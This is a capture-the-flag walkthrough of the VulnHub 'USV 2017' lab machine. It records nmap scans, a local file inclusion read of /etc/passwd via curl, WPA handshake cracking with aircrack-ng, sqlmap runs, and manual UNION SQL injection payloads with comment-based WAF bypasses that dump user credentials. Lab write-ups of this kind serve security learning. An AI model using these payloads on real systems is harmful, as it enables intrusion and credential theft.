Details
This machine is https://www.vulnhub.com/entry/usv-2017,219/
Recon Phase
I first had to locate the machine on the network, so using nmap I scanned for it
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00040s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00028s latency).
MAC Address: 08:00:27:25:DB:68 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00025s latency).
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.08 seconds
This indicated that the machine is running on 192.168.56.102
root@kali:~# nmap -sV 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00010s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http Apache httpd
5222/tcp open jabber ejabberd (Protocol 1.0)
5269/tcp open jabber ejabberd
5280/tcp open ssl/xmpp-bosh?
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)
Service Info: Host: localhost; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.60 seconds
Flag Hunting
I started by navigating to http://192.168.56.102 in browser in order to see what was running on the webserver
With nothing helpful available here, I got dirbuster setup
And waited for it to complete
I then headed over to the /admin2 url to see what I could find
Here I inspected the source code and found
var _0xeb5f=["\x76\x61\x6C\x75\x65","\x70\x61\x73\x73\x69\x6E\x70","\x70\x61\x73\x73\x77\x6F\x72\x64","\x66\x6F\x72\x6D\x73","\x63\x6F\x6C\x6F\x72","\x73\x74\x79\x6C\x65","\x76\x61\x6C\x69\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x67\x72\x65\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x49\x74\x61\x6C\x79\x3A","\x72\x65\x64","\x49\x6E\x63\x6F\x72\x72\x65\x63\x74\x21"];function validate(){var _0xb252x2=123211;var _0xb252x3=3422543454;var _0xb252x4=document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];var _0xb252x5=md5(_0xb252x4);_0xb252x4+= 4469;_0xb252x4-= 234562221224;_0xb252x4*= 1988;_0xb252x2-= 2404;_0xb252x3+= 2980097;if(_0xb252x4== 1079950212331060){document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[8];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[10]+ _0xb252x5}else {document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[11];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[12]};return false}
I put this into http://jsbeautifier.org/ to make it readable and found
function validate() {
var _0xb252x2 = 123211;
var _0xb252x3 = 3422543454;
var _0xb252x4 = document['forms']['password']['passinp']['value'];
var _0xb252x5 = md5(_0xb252x4);
_0xb252x4 += 4469;
_0xb252x4 -= 234562221224;
_0xb252x4 *= 1988;
_0xb252x2 -= 2404;
_0xb252x3 += 2980097;
if (_0xb252x4 == 1079950212331060) {
document['getElementById']('valid')['style']['color'] = 'green';
document['getElementById']('valid')['innerHTML'] = 'Italy:' + _0xb252x5
} else {
document['getElementById']('valid')['style']['color'] = 'red';
document['getElementById']('valid')['innerHTML'] = 'Incorrect!'
};
return false
By inspecting the code here. I could see that
md5(_0xb252x4)
Would generate the flag for Italy, and I could skip straight to that if I wanted to. I could also see the correct way to get the flag was to enter a value which would be used for _0xb252x4 which when a series of things are applied to it equals 1079950212331060. The relevant code was
_0xb252x4 += 4469;
_0xb252x4 -= 234562221224;
_0xb252x4 *= 1988;
Which led to the formula
(x + 4469 - 234562221224) * 1988 = 1079950212331060
x = 77779673
I then tried entering this as the password
This gave the flag
Italy:46202df2ae6c46db8efc0af148370a78
From here I ended up doing another nmap scan on a wider range of ports
root@kali:~# nmap -sV -p- 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00012s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http Apache httpd
4369/tcp open epmd Erlang Port Mapper Daemon
5222/tcp open jabber ejabberd (Protocol 1.0)
5269/tcp open jabber ejabberd
5280/tcp open ssl/xmpp-bosh?
15020/tcp open ssl/http Apache httpd
33469/tcp open unknown
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)
Service Info: Host: localhost; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.02 seconds
There is another webserver on port 15020, it is running ssl so I navigate to https://192.168.56.102:15020
It seems there was an issue with the cert, so I take a look
I put the cert into https://www.sslshopper.com/
It can be seen the country is labelled as France and the issuer is another md5 hash, this is a flag
France:a51f0eda836e4461c3316a2ec9dad743
I then accept the cert and move onto see what the server is providing
I setup another round of dirbuster
And wait until it finishes
Next I checked out the blog section
I notice in the source, a commented out link to /blog/download.php so I check that out
When I visit it, I am told there is a missing param
I may be able to exploit this for local file inclusion, but first I need a file to include. So I began to dig around in the posts
Until I find there is a comment on the post with id 3
Here kevin said he keeps a flag.txt in is house, this seemed like a thinly veiled reference to a home directory. I decided to try /home/kevin/flag.txt as a local file inclusion target on the previously found download.php. But first to confirm there is a vuln, I try to include /etc/passwd, if this works it will have the benefit of giving me a list of users so I will be able to confirm if /home/kevin exists. So I start by navigating to https://192.168.56.102:15020/blog/download.php?image=/etc/passwd
'image' parameter is empty. Please provide file path in 'image' parameter
This shows it was not a GET param, so I instead try POST via cURL
root@kali:~# curl -X POST -d "image=/etc/passwd" https://192.168.56.102:15020/blog/download.php
curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.haxx.se/docs/sslcerts.html
curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.
The cert wasn't good, so I tried again using -k to tell cURL not to care about the cert
root@kali:~# curl -X POST -d "image=/etc/passwd" https://192.168.56.102:15020/blog/download.php -k
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
teo:x:1000:1000:teo,,,:/home/teo:/bin/bash
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:108:65534::/run/proftpd:/bin/false
ftp:x:109:65534::/srv/ftp:/bin/false
kevin:x:1001:1001::/home/kevin:
epmd:x:110:113::/var/run/epmd:/bin/false
ejabberd:x:111:114::/var/lib/ejabberd:/bin/sh
oana:x:1002:1002::/home/oana:
So now I have confirmed local file inclusion, and a list of users confirming kevin's home directory location. So I attempt to access the flag.txt file
root@kali:~# curl -X POST -d "image=/home/kevin/flag.txt" https://192.168.56.102:15020/blog/download.php -k
Croatia: e4d49769b40647eddda2fe3041b9564c
And that is another flag, but with nothing else found on the blog I moved onto /vault found earlier by dirbuster
The folders went all the way to door 300, and then I went into one
And this went on vault 100. It was obvious I couldn't just check them all out manually, so I downloaded all of them
root@kali:~# wget https://192.168.56.102:15020/vault/ --no-check-certificate -r
I decided to then search for files within them
root@kali:~# find ./vault -type f
But this found far to many files but most of them were called index.html with some extra parts. So I tried again filtering these ones out
root@kali:~# find ./vault -type f -not 0name "*.html*"
./vault/Door223/Vault1/rockyou.zip
./vault/Door222/Vault70/ctf.cap
I started by inspecting rockyou.zip, as rockyou is the name of a common password list
root@kali:~# file ./vault/Door223/Vault1/rockyou.zip
rockyou.zip: Zip archive data, at least v2.0 to extract
root@kali:~# unzip ./vault/Door223/Vault1/rockyou.zip
inflating: rockyou.txt
I now had a copy of rockyou.txt, I ran a check to see if it was different from the one I had on my machine
root@kali:~# diff /usr/share/wordlists/rockyou.txt rockyou.txt
< /dev/null
There is very little difference between them. I guessed I was given this to use as a wordlist against the .cap file that was also provided. So I quickly inspected the cap file in wireshark, then fired up aircrack-ng
root@kali:~# aircrack-ng ./vault/Door222/Vault70/ctf.cap -w rockyou.txt
Aircrack-ng 1.2
[00:06:25] 3448484/9822768 keys tested (9132.66 k/s)
Time left: 11 minutes, 38 seconds 35.11%
KEY FOUND! [ minion.666 ]
Master Key : CA 8E A6 F3 BB 7F 29 CD D9 F8 91 43 CC 26 2D B6
8C 1A 05 1A 39 67 94 5A 60 81 E6 6F FF 91 0F 28
Transient Key : 9E DD C0 66 D0 3B 99 A5 9F 41 D6 F9 40 95 55 04
B1 87 ED 42 24 1A A2 6C B3 C5 36 D2 62 46 AB 28
92 D6 09 8D B8 69 23 C7 EB 2E 01 0E CB BB 40 36
6F 11 68 CC 99 80 DF 36 FC 8D 8A 48 50 88 F9 C1
EAPOL HMAC : FB C1 48 13 17 D1 EA 23 FE CF 93 52 97 0B 83 4A
Now I had a password, I attempted to use it on https://192.168.56.102:15020/blog/admin/login.php with the username kevin, but had no luck. So I tried again with creds admin:minion.666
And I was now on the admin panel and I checked out the source
Philippines: 551d3350f100afc6fac0e4b48d44d380
While digging around I notice that the url contains a param called id /blog/admin/edit.php?id=3 which when changed, changes the article which is displayed. Assuming this pulls from the db, it may be vulnerable to SQL injection. So I fire up sqlmap to check
root@kali:~# sqlmap -u https://192.168.56.102:15020/blog/admin/edit.php?id=3 --cookie="PHPSESSID=tasg9ahcp4klrb7qik0cva1fk0"
I then say "y" to most of the options it gives me
sqlmap identified the following injection point(s) with a total of 197 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 9441=9441
Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
Payload: id=3 AND 9458=BENCHMARK(5000000,MD5(0x42414650))
---
[18:07:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL <= 5.0.11
As this shows the system may be vulnerable, I fire sqlmap back up again, this time using exploit mode
root@kali:~# sqlmap -u https://192.168.56.102:15020/blog/admin/edit.php?id=3 --cookie="PHPSESSID=tasg9ahcp4klrb7qik0cva1fk0" -a
Again saying "y" to most options. It then suddenly crashes. Which I find weird. Eventually I find a command which gives me some output
root@kali:~# sqlmap -u https://192.168.56.102:15020/blog/admin/edit.php?id=3 --cookie="PHPSESSID=tasg9ahcp4klrb7qik0cva1fk0" --schema --tables --columns
Current database
[3 tables]
+----------+
| comments |
| posts |
| users |
+----------+
Database: blog
Table: users
[7 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| id | numeric |
| idcountry | numeric |
| login | non-numeric |
| password | non-numeric |
| published | numeric |
| text | non-numeric |
| title | non-numeric |
+-----------+-------------+
This means I had to carry out the attack manually, I stated by navigating to
https://192.168.56.102:15020/blog/admin/edit.php?id=3 order by <var>--
Where I incremented var from 1 upwards until the page change from
to
Which happened on var = 5, this indicated there are 4 columns being used. Next I wanted to use a UNION query to work out which columns are displayed to me so I navigated to
https://192.168.56.102:15020/blog/admin/edit.php?id=3%20union%20select%201,2,3,4--
I used 1,2,3,4 as it would be easy to identify them on the page.
This seemed to show something was blocking my query from executing as expected. And after a lot of googling I came to the conclusion that it was a WAF, and using https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF I was able to craft an alternative injection query
https://192.168.56.102:15020/blog/admin/edit.php?id=3 /*union*/union/*select*/select 1,2,3,4 --
This now showed the query was working, but it wasn't displaying the output. From this I thought it could be due to a limit on the query, so I added my own limit, and an offset so my result was displayed
https://192.168.56.102:15020/blog/admin/edit.php?id=3 /*union*/union/*select*/select 1,2,3,4 limit 1,1 --
From this I could now conclude that to extract information, the columns I select must be in the position of 2 and 3 in 1,2,3,4. So next I update the injection to pull details for a user
https://192.168.56.102:15020/blog/admin/edit.php?id=3 /*union*/union/*select*/select 1,login,password,4 from users limit 1,1 --
I then further add to the query so I can enumerate users
https://192.168.56.102:15020/blog/admin/edit.php?id=3 /*union*/union/*select*/select 1,login,password,4 from users where id=<var> limit 1,1 --
I then begin incrementing the var starting at 1. Var = 1 showed me admin again, but var = 2 gave
Laos:66c578605c1c63db9e8f0aba923d0c12
And that is the last flag. This machine is completed!